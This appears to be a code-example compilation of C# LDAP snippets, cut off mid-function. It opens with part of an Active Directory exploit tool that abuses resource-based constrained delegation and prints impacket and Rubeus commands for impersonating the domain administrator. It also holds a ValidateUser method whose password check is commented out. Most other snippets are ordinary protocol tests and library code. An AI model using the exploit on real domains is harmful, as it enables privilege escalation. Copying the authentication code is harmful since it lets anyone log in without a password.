                    var new_request        = new System.DirectoryServices.Protocols.SearchRequest(distinguished_name, "(&(samAccountType=805306369)(|(name=" + machine_account + ")))", System.DirectoryServices.Protocols.SearchScope.Subtree, null);
                    var new_response       = (System.DirectoryServices.Protocols.SearchResponse)connection.SendRequest(new_request);
                    SecurityIdentifier sid = null;
                    foreach (System.DirectoryServices.Protocols.SearchResultEntry entry in new_response.Entries)
                    {
                        try
                        {
                            sid = new SecurityIdentifier(entry.Attributes["objectsid"][0] as byte[], 0);
                            Console.Out.WriteLine("[+] " + new_MachineAccount + " SID : " + sid.Value);
                        }
                        catch
                        {
                            Console.WriteLine("[!] It was not possible to retrieve the SID.\nExiting...");
                            return;
                        }
                    }
                    //设置资源约束委派
                    String sec_descriptor    = @"O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;" + sid.Value + ")";
                    RawSecurityDescriptor sd = new RawSecurityDescriptor(sec_descriptor);
                    byte[] buffer            = new byte[sd.BinaryLength];
                    sd.GetBinaryForm(buffer, 0);
                    //测试sddl转换结果
                    //RawSecurityDescriptor test_back = new RawSecurityDescriptor (buffer, 0);
                    //Console.WriteLine(test_back.GetSddlForm(AccessControlSections.All));
                    // 添加evilpc的sid到msds-allowedtoactonbehalfofotheridentity中
                    try
                    {
                        var change_request = new System.DirectoryServices.Protocols.ModifyRequest();
                        change_request.DistinguishedName = victim_distinguished_name;
                        DirectoryAttributeModification modifymsDS = new DirectoryAttributeModification();
                        modifymsDS.Operation = DirectoryAttributeOperation.Replace;
                        modifymsDS.Name      = "msDS-AllowedToActOnBehalfOfOtherIdentity";
                        modifymsDS.Add(buffer);
                        change_request.Modifications.Add(modifymsDS);
                        connection.SendRequest(change_request);
                        Console.WriteLine("[+] Exploit successfully!\n");
                        //打印利用方式
                        Console.WriteLine("[+] Use impacket to get priv!\n");
                        Console.WriteLine("\ngetST.py -dc-ip {0} {1}/{2}$:{3} -spn cifs/{4}.{5} -impersonate administrator", DomainController, Domain, machine_account, new_MachineAccount_password, victimcomputer, Domain);
                        Console.WriteLine("\nexport KRB5CCNAME=administrator.ccache");
                        Console.WriteLine("\npsexec.py {0}/administrator@{1}.{2} -k -no-pass", Domain, victimcomputer, Domain);
                        Console.WriteLine("\n\n[+] Use Rubeus.exe to get priv!\n");
                        Console.WriteLine("\nRubeus.exe hash /user:{0} /password:{1} /domain:{2}", machine_account, new_MachineAccount_password, Domain);
                        Console.WriteLine("\nRubeus.exe s4u /user:{0} /rc4:rc4_hmac /impersonateuser:administrator /msdsspn:cifs/{1}.{2} /ptt /dc:{3}", machine_account, victimcomputer, Domain, DomainController);
                        Console.WriteLine("\npsexec.exe \\\\{0}.{1} cmd ", victimcomputer, Domain);
                        Console.WriteLine("\n[+] Done..");
                    }
                    catch (System.Exception ex)
                    {
                        Console.WriteLine("[!] Error: " + ex.Message + " " + ex.InnerException);
                        Console.WriteLine("[!] Failed...");
                        return;
                    }
                }
            }
            catch (System.Exception ex) {
                Console.WriteLine("[!] " + ex.Message + "\n[-] Exiting...");
                return;
            }
        }
        private User queryLdap(string email)
        {
            string ldapFilter = "(objectClass=person)";
            string ldapTarget = DN.Replace("{0}", email);
            User user = new User();

            network = new NetworkCredential(ADMIN, ADMIN_PASS);
            ldapId = new LdapDirectoryIdentifier(HOST, PORT);

            using (LdapConnection connection = new LdapConnection(ldapId, network, AuthType.Basic))
            {
                try
                {
                    connection.SessionOptions.SecureSocketLayer = false;
                    connection.SessionOptions.ProtocolVersion = 3;
                    connection.Bind();

                    SearchRequest searchRequest = new SearchRequest(ldapTarget, ldapFilter, SearchScope.Subtree, "*");
                    SearchResponse searchResponse = (SearchResponse)connection.SendRequest(searchRequest);
                    SearchResultEntry entry = searchResponse.Entries[0];

                    user.email = email;
                    user.userId = entry.Attributes["employeeNumber"][0].ToString();
                    user.userName = entry.Attributes["cn"][0].ToString();
                    user.lastName = entry.Attributes["sn"][0].ToString();
                    user.userGroup = entry.Attributes["departmentNumber"][0].ToString();

                    connection.Dispose();

                    return user;
                }
                catch (LdapException ex)
                {
                    throw new BusinessException(ex.Message);
                }
                catch (Exception e)
                {
                    throw new PlatformException(e.Message);
                }
            }
        }
Example #23
0
		internal void ReadServerConfig(string serverName, ref ServerProperties properties)
		{
			string[] strArrays = new string[5];
			strArrays[0] = "msDS-PortSSL";
			strArrays[1] = "msDS-PortLDAP";
			strArrays[2] = "domainControllerFunctionality";
			strArrays[3] = "dnsHostName";
			strArrays[4] = "supportedCapabilities";
			string[] strArrays1 = strArrays;
			LdapConnection ldapConnection = null;
			using (ldapConnection)
			{
				bool flag = (this.options & ContextOptions.SecureSocketLayer) > 0;
				if (!flag || this.contextType != ContextType.Domain)
				{
					ldapConnection = new LdapConnection(serverName);
				}
				else
				{
					LdapDirectoryIdentifier ldapDirectoryIdentifier = new LdapDirectoryIdentifier(serverName, LdapConstants.LDAP_SSL_PORT);
					ldapConnection = new LdapConnection(ldapDirectoryIdentifier);
				}
				ldapConnection.AutoBind = false;
				ldapConnection.SessionOptions.SecureSocketLayer = flag;
				string str = null;
				string str1 = "(objectClass=*)";
				SearchResponse searchResponse = null;
				SearchRequest searchRequest = new SearchRequest(str, str1, SearchScope.Base, strArrays1);
				try
				{
					searchResponse = (SearchResponse)ldapConnection.SendRequest(searchRequest);
				}
				catch (LdapException ldapException1)
				{
					LdapException ldapException = ldapException1;
					throw new PrincipalServerDownException(StringResources.ServerDown, ldapException);
				}
				properties.dnsHostName = (string)searchResponse.Entries[0].Attributes["dnsHostName"][0];
				properties.SupportCapabilities = new string[searchResponse.Entries[0].Attributes["supportedCapabilities"].Count];
				for (int i = 0; i < searchResponse.Entries[0].Attributes["supportedCapabilities"].Count; i++)
				{
					properties.SupportCapabilities[i] = (string)searchResponse.Entries[0].Attributes["supportedCapabilities"][i];
				}
				string[] supportCapabilities = properties.SupportCapabilities;
				for (int j = 0; j < (int)supportCapabilities.Length; j++)
				{
					string str2 = supportCapabilities[j];
					if ("1.2.840.113556.1.4.1851" != str2)
					{
						if ("1.2.840.113556.1.4.800" == str2)
						{
							properties.contextType = ContextType.Domain;
						}
					}
					else
					{
						properties.contextType = ContextType.ApplicationDirectory;
					}
				}
				if (!searchResponse.Entries[0].Attributes.Contains("domainControllerFunctionality"))
				{
					properties.OsVersion = DomainControllerMode.Win2k;
				}
				else
				{
					properties.OsVersion = (DomainControllerMode)Convert.ToInt32(searchResponse.Entries[0].Attributes["domainControllerFunctionality"][0], CultureInfo.InvariantCulture);
				}
				if (properties.contextType == ContextType.ApplicationDirectory)
				{
					if (searchResponse.Entries[0].Attributes.Contains("msDS-PortSSL"))
					{
						properties.portSSL = Convert.ToInt32(searchResponse.Entries[0].Attributes["msDS-PortSSL"][0]);
					}
					if (searchResponse.Entries[0].Attributes.Contains("msDS-PortLDAP"))
					{
						properties.portLDAP = Convert.ToInt32(searchResponse.Entries[0].Attributes["msDS-PortLDAP"][0]);
					}
				}
			}
		}
        public void LDAP_Add_Processing_Specifics_SystemFlags()
        {
            #region variables

            string siteObjDN             = "CN=testSite,CN=Sites,CN=Configuration," + AD_LDAPModelAdapter.Instance(Site).rootDomainNC;
            string serversContainerObjDN = "CN=testServers," + siteObjDN;
            string serverObjDN           = "CN=testServer," + serversContainerObjDN;
            string ntdsSettingsObjDN     = "CN=NTDS Settings," + serverObjDN;
            string nTDSConnection        = "CN=testnTDSConnection," + ntdsSettingsObjDN;
            string ipObjDN              = "CN=IP,CN=Inter-Site Transports,CN=Sites,CN=Configuration," + AD_LDAPModelAdapter.Instance(Site).rootDomainNC;
            string siteLinkObjDN        = "CN=testSiteLink," + ipObjDN;
            string siteLinkBridgeDN     = "CN=testSiteLinkBridge," + ipObjDN;
            string subnetContainerObjDN = "CN=Subnets,CN=Sites,CN=Configuration," + AD_LDAPModelAdapter.Instance(Site).rootDomainNC;
            string subnetObjDN          = "CN=192.168.0.0/24," + subnetContainerObjDN;
            #endregion

            #region connect

            BaseTestSite.Assume.IsTrue(EnvironmentConfig.ServerVer >= ServerVersion.Win2012, "Server OS version should be not less than Windows Server 2012");
            LdapConnection con = new LdapConnection(new LdapDirectoryIdentifier(AD_LDAPModelAdapter.Instance(Site).PDCIPAddress),
                                                    new NetworkCredential(AD_LDAPModelAdapter.Instance(Site).DomainAdministratorName,
                                                                          AD_LDAPModelAdapter.Instance(Site).DomainUserPassword,
                                                                          AD_LDAPModelAdapter.Instance(Site).PrimaryDomainDnsName));
            con.SessionOptions.Sealing = false;
            con.SessionOptions.Signing = false;

            #endregion

            #region Site Object
            ManagedAddRequest addReq = new ManagedAddRequest(siteObjDN, "site");
            System.DirectoryServices.Protocols.AddResponse addRep = (System.DirectoryServices.Protocols.AddResponse)con.SendRequest(addReq);
            BaseTestSite.Assert.AreEqual <ResultCode>(
                ResultCode.Success,
                addRep.ResultCode,
                @"Add Site: {0} should succeed.",
                siteObjDN);
            System.DirectoryServices.Protocols.SearchRequest searchReq = new System.DirectoryServices.Protocols.SearchRequest(
                siteObjDN,
                "(objectClass=Site)",
                System.DirectoryServices.Protocols.SearchScope.Subtree,
                "systemFlags");
            System.DirectoryServices.Protocols.SearchResponse searchRep = (System.DirectoryServices.Protocols.SearchResponse)con.SendRequest(searchReq);
            DirectoryAttribute attr   = searchRep.Entries[0].Attributes["systemFlags"];
            object[]           values = attr.GetValues(Type.GetType("System.String"));
            int flags = Convert.ToInt32(values[0], CultureInfo.InvariantCulture);
            BaseTestSite.Assert.AreEqual(
                SystemFlags.FLAG_DISALLOW_MOVE_ON_DELETE | SystemFlags.FLAG_CONFIG_ALLOW_RENAME,
                (SystemFlags)flags & (SystemFlags.FLAG_DISALLOW_MOVE_ON_DELETE | SystemFlags.FLAG_CONFIG_ALLOW_RENAME),
                @"The DC sets additional bits in the systemFlags value of the object created:
                site object: FLAG_DISALLOW_MOVE_ON_DELETE and FLAG_CONFIG_ALLOW_RENAME.");
            #endregion

            #region ServersContainer Object
            addReq = new ManagedAddRequest(serversContainerObjDN, "serversContainer");
            addRep = (System.DirectoryServices.Protocols.AddResponse)con.SendRequest(addReq);
            BaseTestSite.Assert.AreEqual <ResultCode>(
                ResultCode.Success,
                addRep.ResultCode,
                @"Add ServersContainer: {0} should succeed.",
                serversContainerObjDN);
            searchReq = new System.DirectoryServices.Protocols.SearchRequest(
                serversContainerObjDN,
                "(objectClass=serversContainer)",
                System.DirectoryServices.Protocols.SearchScope.Subtree,
                "systemFlags");
            searchRep = (System.DirectoryServices.Protocols.SearchResponse)con.SendRequest(searchReq);
            attr      = searchRep.Entries[0].Attributes["systemFlags"];
            values    = attr.GetValues(Type.GetType("System.String"));
            flags     = Convert.ToInt32(values[0], CultureInfo.InvariantCulture);
            BaseTestSite.Assert.AreEqual(
                SystemFlags.FLAG_DISALLOW_MOVE_ON_DELETE,
                (SystemFlags)flags & SystemFlags.FLAG_DISALLOW_MOVE_ON_DELETE,
                @"The DC sets additional bits in the systemFlags value of the object created:
                serversContainer object: FLAG_DISALLOW_MOVE_ON_DELETE.");
            #endregion

            #region Server Object
            addReq = new ManagedAddRequest(serverObjDN, "server");
            addRep = (System.DirectoryServices.Protocols.AddResponse)con.SendRequest(addReq);
            BaseTestSite.Assert.AreEqual <ResultCode>(
                ResultCode.Success,
                addRep.ResultCode,
                @"Add server: {0} should succeed.",
                serverObjDN);
            searchReq = new System.DirectoryServices.Protocols.SearchRequest(
                serverObjDN,
                "(objectClass=server)",
                System.DirectoryServices.Protocols.SearchScope.Subtree,
                "systemFlags");
            searchRep = (System.DirectoryServices.Protocols.SearchResponse)con.SendRequest(searchReq);
            attr      = searchRep.Entries[0].Attributes["systemFlags"];
            values    = attr.GetValues(Type.GetType("System.String"));
            flags     = Convert.ToInt32(values[0], CultureInfo.InvariantCulture);
            BaseTestSite.Assert.AreEqual(
                SystemFlags.FLAG_DISALLOW_MOVE_ON_DELETE | SystemFlags.FLAG_CONFIG_ALLOW_RENAME | SystemFlags.FLAG_CONFIG_ALLOW_LIMITED_MOVE,
                (SystemFlags)flags & (SystemFlags.FLAG_DISALLOW_MOVE_ON_DELETE | SystemFlags.FLAG_CONFIG_ALLOW_RENAME | SystemFlags.FLAG_CONFIG_ALLOW_LIMITED_MOVE),
                @"The DC sets additional bits in the systemFlags value of the object created:
                server object: FLAG_DISALLOW_MOVE_ON_DELETE, FLAG_CONFIG_ALLOW_RENAME, and FLAG_CONFIG_ALLOW_LIMITED_MOVE.");
            #endregion

            #region nTDSDSA Object
            System.DirectoryServices.Protocols.ModifyRequest modReq = new System.DirectoryServices.Protocols.ModifyRequest("",
                                                                                                                           DirectoryAttributeOperation.Add, "schemaupgradeinprogress", "1");
            System.DirectoryServices.Protocols.ModifyResponse modRep = (System.DirectoryServices.Protocols.ModifyResponse)con.SendRequest(modReq);
            BaseTestSite.Assert.AreEqual <ResultCode>(ResultCode.Success, modRep.ResultCode, "Should return success when set SchemaUpgradeInProgress to 1");
            addReq = new ManagedAddRequest(ntdsSettingsObjDN, "nTDSDSA");
            addRep = (System.DirectoryServices.Protocols.AddResponse)con.SendRequest(addReq);
            BaseTestSite.Assert.AreEqual <ResultCode>(
                ResultCode.Success,
                addRep.ResultCode,
                @"Add nTDSDSA: {0} should succeed.",
                ntdsSettingsObjDN);
            searchReq = new System.DirectoryServices.Protocols.SearchRequest(
                ntdsSettingsObjDN,
                "(objectClass=nTDSDSA)",
                System.DirectoryServices.Protocols.SearchScope.Subtree,
                "systemFlags");
            searchRep = (System.DirectoryServices.Protocols.SearchResponse)con.SendRequest(searchReq);
            attr      = searchRep.Entries[0].Attributes["systemFlags"];
            values    = attr.GetValues(Type.GetType("System.String"));
            flags     = Convert.ToInt32(values[0], CultureInfo.InvariantCulture);
            BaseTestSite.Assert.AreEqual(
                SystemFlags.FLAG_DISALLOW_MOVE_ON_DELETE,
                (SystemFlags)flags & (SystemFlags.FLAG_DISALLOW_MOVE_ON_DELETE),
                @"The DC sets additional bits in the systemFlags value of the object created:
                nTDSDSA object: FLAG_DISALLOW_MOVE_ON_DELETE.");
            #endregion

            #region nTDSConnection Object
            addReq = new ManagedAddRequest(nTDSConnection, "nTDSConnection");
            addReq.Attributes.Add(new DirectoryAttribute("options", "1"));
            addReq.Attributes.Add(new DirectoryAttribute("fromServer", ntdsSettingsObjDN));
            addReq.Attributes.Add(new DirectoryAttribute("enabledConnection", "TRUE"));
            addRep = (System.DirectoryServices.Protocols.AddResponse)con.SendRequest(addReq);

            BaseTestSite.Assert.AreEqual <ResultCode>(
                ResultCode.Success,
                addRep.ResultCode,
                @"Add nTDSConnection: {0} should succeed.",
                nTDSConnection);
            searchReq = new System.DirectoryServices.Protocols.SearchRequest(
                nTDSConnection,
                "(objectClass=nTDSConnection)",
                System.DirectoryServices.Protocols.SearchScope.Subtree,
                "systemFlags");
            searchRep = (System.DirectoryServices.Protocols.SearchResponse)con.SendRequest(searchReq);
            attr      = searchRep.Entries[0].Attributes["systemFlags"];
            values    = attr.GetValues(Type.GetType("System.String"));
            flags     = Convert.ToInt32(values[0], CultureInfo.InvariantCulture);
            BaseTestSite.Assert.AreEqual(
                SystemFlags.FLAG_CONFIG_ALLOW_RENAME,
                (SystemFlags)flags & (SystemFlags.FLAG_CONFIG_ALLOW_RENAME),
                @"The DC sets additional bits in the systemFlags value of the object created:
                nTDSConnection object: FLAG_CONFIG_ALLOW_RENAME.");
            #endregion

            #region SiteLink Object
            addReq = new ManagedAddRequest(siteLinkObjDN, "siteLink");

            addReq.Attributes.Add(new DirectoryAttribute("siteList", siteObjDN));
            addRep = (System.DirectoryServices.Protocols.AddResponse)con.SendRequest(addReq);
            BaseTestSite.Assert.AreEqual <ResultCode>(
                ResultCode.Success,
                addRep.ResultCode,
                @"Add SiteLink: {0} should succeed.",
                siteLinkObjDN);
            searchReq = new System.DirectoryServices.Protocols.SearchRequest(
                siteLinkObjDN,
                "(objectClass=SiteLink)",
                System.DirectoryServices.Protocols.SearchScope.Subtree,
                "systemFlags");
            searchRep = (System.DirectoryServices.Protocols.SearchResponse)con.SendRequest(searchReq);
            attr      = searchRep.Entries[0].Attributes["systemFlags"];
            values    = attr.GetValues(Type.GetType("System.String"));
            flags     = Convert.ToInt32(values[0], CultureInfo.InvariantCulture);
            BaseTestSite.Assert.AreEqual(
                SystemFlags.FLAG_CONFIG_ALLOW_RENAME,
                (SystemFlags)flags & SystemFlags.FLAG_CONFIG_ALLOW_RENAME,
                @"The DC sets additional bits in the systemFlags value of the object created:
                siteLink object: FLAG_CONFIG_ALLOW_RENAME.");
            #endregion

            #region SiteLinkBridge Object
            addReq = new ManagedAddRequest(siteLinkBridgeDN, "siteLinkBridge");
            addReq.Attributes.Add(new DirectoryAttribute("siteLinkList", siteLinkObjDN));
            addRep = (System.DirectoryServices.Protocols.AddResponse)con.SendRequest(addReq);
            BaseTestSite.Assert.AreEqual <ResultCode>(
                ResultCode.Success,
                addRep.ResultCode,
                @"Add SiteLinkBridge: {0} should succeed.",
                siteLinkBridgeDN);
            searchReq = new System.DirectoryServices.Protocols.SearchRequest(
                siteLinkBridgeDN,
                "(objectClass=SiteLinkBridge)",
                System.DirectoryServices.Protocols.SearchScope.Subtree,
                "systemFlags");
            searchRep = (System.DirectoryServices.Protocols.SearchResponse)con.SendRequest(searchReq);
            attr      = searchRep.Entries[0].Attributes["systemFlags"];
            values    = attr.GetValues(Type.GetType("System.String"));
            flags     = Convert.ToInt32(values[0], CultureInfo.InvariantCulture);
            BaseTestSite.Assert.AreEqual(
                SystemFlags.FLAG_CONFIG_ALLOW_RENAME,
                (SystemFlags)flags & SystemFlags.FLAG_CONFIG_ALLOW_RENAME,
                @"The DC sets additional bits in the systemFlags value of the object created:
                siteLinkBridge object: FLAG_CONFIG_ALLOW_RENAME.");
            #endregion

            #region not above Object with Subnets Container Parent
            addReq = new ManagedAddRequest(subnetObjDN, "subnet");
            addRep = (System.DirectoryServices.Protocols.AddResponse)con.SendRequest(addReq);
            BaseTestSite.Assert.AreEqual <ResultCode>(
                ResultCode.Success,
                addRep.ResultCode,
                @"Add subnet: {0} should succeed.",
                subnetObjDN);
            searchReq = new System.DirectoryServices.Protocols.SearchRequest(
                subnetObjDN,
                "(objectClass=Subnet)",
                System.DirectoryServices.Protocols.SearchScope.Subtree,
                "systemFlags");
            searchRep = (System.DirectoryServices.Protocols.SearchResponse)con.SendRequest(searchReq);
            attr      = searchRep.Entries[0].Attributes["systemFlags"];
            values    = attr.GetValues(Type.GetType("System.String"));
            flags     = Convert.ToInt32(values[0], CultureInfo.InvariantCulture);
            BaseTestSite.Assert.AreEqual(
                SystemFlags.FLAG_CONFIG_ALLOW_RENAME,
                (SystemFlags)flags & SystemFlags.FLAG_CONFIG_ALLOW_RENAME,
                @"The DC sets additional bits in the systemFlags value of the object created:
                subnet object: FLAG_CONFIG_ALLOW_RENAME.");
            #endregion

            #region not above Object with Sites Container Parent except the Subnets Container and the Inter-Site-Transports Container
            #endregion

            #region clean up

            System.DirectoryServices.Protocols.DeleteRequest delReq = new System.DirectoryServices.Protocols.DeleteRequest(siteObjDN);
            delReq.Controls.Add(new TreeDeleteControl());
            System.DirectoryServices.Protocols.DeleteResponse delRep = (System.DirectoryServices.Protocols.DeleteResponse)con.SendRequest(delReq);
            delReq = new System.DirectoryServices.Protocols.DeleteRequest(siteLinkObjDN);
            delReq.Controls.Add(new TreeDeleteControl());
            delRep = (System.DirectoryServices.Protocols.DeleteResponse)con.SendRequest(delReq);
            delReq = new System.DirectoryServices.Protocols.DeleteRequest(siteLinkBridgeDN);
            delReq.Controls.Add(new TreeDeleteControl());
            delRep = (System.DirectoryServices.Protocols.DeleteResponse)con.SendRequest(delReq);
            delReq = new System.DirectoryServices.Protocols.DeleteRequest(subnetObjDN);
            delReq.Controls.Add(new TreeDeleteControl());
            delRep = (System.DirectoryServices.Protocols.DeleteResponse)con.SendRequest(delReq);

            #endregion
        }
Example #25
0
 /// <summary>
 /// This method is used verify that a connection can be made to the LDAP directory holding
 /// the root certificate for all environments begin set using the {@link Environments} class.
 /// </summary>
 public static void VerifyRootCertificateFromLdap()
 {
     foreach (var environment in Environments.TrustedEnvironments)
     {
         using (var connection = LdapFactory.CreateLdapConnection(environment))
         {
             var ldapRootProp = Properties.Get("ldap.ca.dn.danid." + environment);
             var request = new SearchRequest(ldapRootProp,(string)null, SearchScope.Base, LdapFactory.RootCertificateBinary );
             var response = (SearchResponse)connection.SendRequest(request);
             var bytes = (byte[])response.Entries[0].Attributes[LdapFactory.RootCertificateBinary][0];
             var rootCertificateFromLdap = new X509Certificate2(bytes);
             var rootCertificate = RootCertificates.LookupCertificate(environment);
             if (rootCertificateFromLdap.Equals(rootCertificate))
             {
                 Logger.Info("Root certificate retrieved from LDAP with DN: " + rootCertificateFromLdap.SubjectName);
             }
             else
             {
                 Logger.Error("ERROR: Could not retrieve root certificate from LDAP for environment " + environment);
             }
         }
     }
 }
Example #26
0
        /// <summary>
        /// Authenticate a user against a AD server
        /// </summary>
        /// <param name="username">username to check</param>
        /// <param name="password">password of the user</param>
        /// <returns></returns>
        public bool ValidateUser(string username, string password)
        {
            try
            {
                LdapConnection ldap = new LdapConnection(new LdapDirectoryIdentifier(host, port));
                ldap.SessionOptions.ProtocolVersion = protocolVersion;
                ldap.AuthType = AuthType.Basic;
                ldap.Credential = new NetworkCredential(adminUsername, adminPassword);
                ldap.SessionOptions.SecureSocketLayer = secureSocket;
                ldap.Bind();

                ldap.AuthType = AuthType.Basic;
                SearchRequest searchRequest = new SearchRequest(
                       baseDn,
                       string.Format(CultureInfo.InvariantCulture, "{0}={1}", authUid, username),
                       SearchScope.Subtree
                );

                SearchResponse searchResponse = (SearchResponse)ldap.SendRequest(searchRequest);
                if (1 == searchResponse.Entries.Count)
                {
                    //ldap.Bind(new NetworkCredential(searchResponse.Entries[0].DistinguishedName, password));
                }
                else
                {
                    throw new Exception("Login failed.");
                }
            }
            catch (Exception e)
            {
                //Todo: Pass error to logging framework instead of console!
                Console.WriteLine(e.Message);
                return false;
            }
            return true;
        }
        public void LDAP_Search_SearchFilters()
        {
            #region variables

            string testUser   = "******";
            string testUserDN = "CN=" + testUser + ",CN=Users," + AD_LDAPModelAdapter.Instance(Site).rootDomainNC;
            int    errorCode;
            bool   failed = false;

            #endregion

            #region connect

            BaseTestSite.Assume.IsTrue(EnvironmentConfig.ServerVer >= ServerVersion.Win2012, "Server OS version should be not less than Windows Server 2012");
            string         addr = AD_LDAPModelAdapter.Instance(Site).PDCIPAddress;
            string         port = AD_LDAPModelAdapter.Instance(Site).ADDSPortNum;
            LdapConnection con  = new LdapConnection(new LdapDirectoryIdentifier(addr, int.Parse(port)),
                                                     new NetworkCredential(AD_LDAPModelAdapter.Instance(Site).DomainAdministratorName,
                                                                           AD_LDAPModelAdapter.Instance(Site).DomainUserPassword,
                                                                           AD_LDAPModelAdapter.Instance(Site).PrimaryDomainDnsName));
            con.SessionOptions.Sealing = false;
            con.SessionOptions.Signing = false;

            #endregion

            #region Add a dynamic object for search testing

            if (Utilities.IsObjectExist(testUserDN, addr, port))
            {
                System.DirectoryServices.Protocols.DeleteRequest  req = new System.DirectoryServices.Protocols.DeleteRequest(testUserDN);
                System.DirectoryServices.Protocols.DeleteResponse rep = (System.DirectoryServices.Protocols.DeleteResponse)con.SendRequest(req);
            }
            ManagedAddRequest addReq = new ManagedAddRequest(testUserDN);
            addReq.Attributes.Add(new DirectoryAttribute("objectClass", new string[] { "dynamicObject", "user" }));
            addReq.Attributes.Add(new DirectoryAttribute("entryTTL", "1800"));
            addReq.Attributes.Add(new DirectoryAttribute("sAMAccountName", testUser));
            System.DirectoryServices.Protocols.AddResponse addRep = (System.DirectoryServices.Protocols.AddResponse)con.SendRequest(addReq);

            #endregion

            #region search filter
            //entryTTL is a constructed attribute
            System.DirectoryServices.Protocols.SearchRequest searchReq = new System.DirectoryServices.Protocols.SearchRequest(
                testUserDN,
                "(entryTTL=*)",
                System.DirectoryServices.Protocols.SearchScope.Subtree);
            try
            {
                System.DirectoryServices.Protocols.SearchResponse searchRep = (System.DirectoryServices.Protocols.SearchResponse)con.SendRequest(searchReq);
            }
            catch (DirectoryOperationException e)
            {
                if (e.Response.ResultCode == ResultCode.InappropriateMatching)
                {
                    errorCode = int.Parse(e.Response.ErrorMessage.Split(':')[0], System.Globalization.NumberStyles.AllowHexSpecifier, CultureInfo.InvariantCulture);
                    if ((Win32ErrorCode_32)errorCode == Win32ErrorCode_32.ERROR_DS_FILTER_USES_CONTRUCTED_ATTRS)
                    {
                        failed = true;
                    }
                }
            }
            BaseTestSite.Assert.IsTrue(
                failed,
                @"Active Directory does not support constructed attributes (defined in section 3.1.1.4.5) in search filters.
                When a search operation is performed with such a search filter, Active Directory fails with inappropriateMatching
                ([RFC2251] section 4.1.10).");

            #endregion

            #region clean up
            if (Utilities.IsObjectExist(testUserDN, addr, port))
            {
                System.DirectoryServices.Protocols.DeleteRequest  delReq = new System.DirectoryServices.Protocols.DeleteRequest(testUserDN);
                System.DirectoryServices.Protocols.DeleteResponse delRep = (System.DirectoryServices.Protocols.DeleteResponse)con.SendRequest(delReq);
            }
            #endregion
        }
        public void LDAP_Search_SD_Flags_Control()
        {
            #region variables

            string testUser   = "******";
            string testUserDN = "CN=" + testUser + ",CN=Users," + AD_LDAPModelAdapter.Instance(Site).rootDomainNC;
            bool   isExist    = false;

            #endregion

            #region connect

            BaseTestSite.Assume.IsTrue(EnvironmentConfig.ServerVer >= ServerVersion.Win2012, "Server OS version should be not less than Windows Server 2012");
            string         addr = AD_LDAPModelAdapter.Instance(Site).PDCIPAddress;
            string         port = AD_LDAPModelAdapter.Instance(Site).ADDSPortNum;
            LdapConnection con  = new LdapConnection(new LdapDirectoryIdentifier(addr, int.Parse(port)),
                                                     new NetworkCredential(AD_LDAPModelAdapter.Instance(Site).DomainAdministratorName,
                                                                           AD_LDAPModelAdapter.Instance(Site).DomainUserPassword,
                                                                           AD_LDAPModelAdapter.Instance(Site).PrimaryDomainDnsName));
            con.SessionOptions.Sealing = false;
            con.SessionOptions.Signing = false;

            #endregion

            #region Add an object for search testing

            if (!Utilities.IsObjectExist(testUserDN, addr, port))
            {
                ManagedAddRequest addReq = new ManagedAddRequest(testUserDN, "user");
                System.DirectoryServices.Protocols.AddResponse addRep = (System.DirectoryServices.Protocols.AddResponse)con.SendRequest(addReq);
            }

            #endregion

            #region with SD FLags Control

            System.DirectoryServices.Protocols.SearchRequest searchReq = new System.DirectoryServices.Protocols.SearchRequest(
                testUserDN,
                "(objectClass=user)",
                System.DirectoryServices.Protocols.SearchScope.Subtree,
                "ntSecurityDescriptor");
            System.DirectoryServices.Protocols.SecurityDescriptorFlagControl sdFlagsCtrl = new System.DirectoryServices.Protocols.SecurityDescriptorFlagControl(
                System.DirectoryServices.Protocols.SecurityMasks.Owner);
            searchReq.Controls.Add(sdFlagsCtrl);
            System.DirectoryServices.Protocols.SearchResponse searchRep = (System.DirectoryServices.Protocols.SearchResponse)con.SendRequest(searchReq);
            DirectoryAttribute attr   = searchRep.Entries[0].Attributes["ntSecurityDescriptor"];
            object[]           values = attr.GetValues(Type.GetType("System.String"));
            if (values != null)
            {
                isExist = true;
            }
            BaseTestSite.Assert.IsTrue(
                isExist,
                @"If the LDAP_SERVER_SD_FLAGS_OID control is present in an LDAP search request, the server returns an SD with the parts specified in the control
                when the SD attribute name is explicitly mentioned in the requested attribute list.");

            isExist = false;
            searchReq.Attributes.Clear();
            searchRep = (System.DirectoryServices.Protocols.SearchResponse)con.SendRequest(searchReq);
            attr      = searchRep.Entries[0].Attributes["ntSecurityDescriptor"];
            values    = attr.GetValues(Type.GetType("System.String"));
            if (values != null)
            {
                isExist = true;
            }
            BaseTestSite.Assert.IsTrue(
                isExist,
                @"If the LDAP_SERVER_SD_FLAGS_OID control is present in an LDAP search request, the server returns an SD with the parts specified in the control
                when the requested attribute list is empty.");

            isExist = false;
            searchReq.Attributes.Add("*");
            searchRep = (System.DirectoryServices.Protocols.SearchResponse)con.SendRequest(searchReq);
            attr      = searchRep.Entries[0].Attributes["ntSecurityDescriptor"];
            values    = attr.GetValues(Type.GetType("System.String"));
            if (values != null)
            {
                isExist = true;
            }
            BaseTestSite.Assert.IsTrue(
                isExist,
                @"If the LDAP_SERVER_SD_FLAGS_OID control is present in an LDAP search request, the server returns an SD with the parts specified in the control
                when all attributes are requested.");

            #endregion

            #region without SD Flags Control

            isExist = false;
            searchReq.Controls.Clear();
            searchReq.Attributes.Clear();
            searchRep = (System.DirectoryServices.Protocols.SearchResponse)con.SendRequest(searchReq);
            attr      = searchRep.Entries[0].Attributes["ntSecurityDescriptor"];
            if (attr == null)
            {
                isExist = false;
            }
            else
            {
                isExist = true;
            }
            BaseTestSite.Assert.IsFalse(
                isExist,
                @"Without the presence of this control, the server returns an SD only when the SD attribute name is explicitly mentioned in the requested attribute list.");

            searchReq.Attributes.Add("ntSecurityDescriptor");
            searchRep = (System.DirectoryServices.Protocols.SearchResponse)con.SendRequest(searchReq);
            BaseTestSite.Assert.AreEqual(
                1,
                searchRep.Entries[0].Attributes.Count,
                @"Without the presence of this control, the server returns an SD only when the SD attribute name is explicitly mentioned in the requested attribute list.");
            attr   = searchRep.Entries[0].Attributes["ntSecurityDescriptor"];
            values = attr.GetValues(Type.GetType("System.String"));
            if (values != null)
            {
                isExist = true;
            }
            BaseTestSite.Assert.IsTrue(
                isExist,
                @"Without the presence of this control, the server returns an SD only when the SD attribute name is explicitly mentioned in the requested attribute list.");

            #endregion
        }
        private bool GetRevealSecretsPolicyForUser(string rodcObjDN, string userObjDN)
        {
            #region variables

            System.DirectoryServices.Protocols.SearchResultEntry rodcEntry;
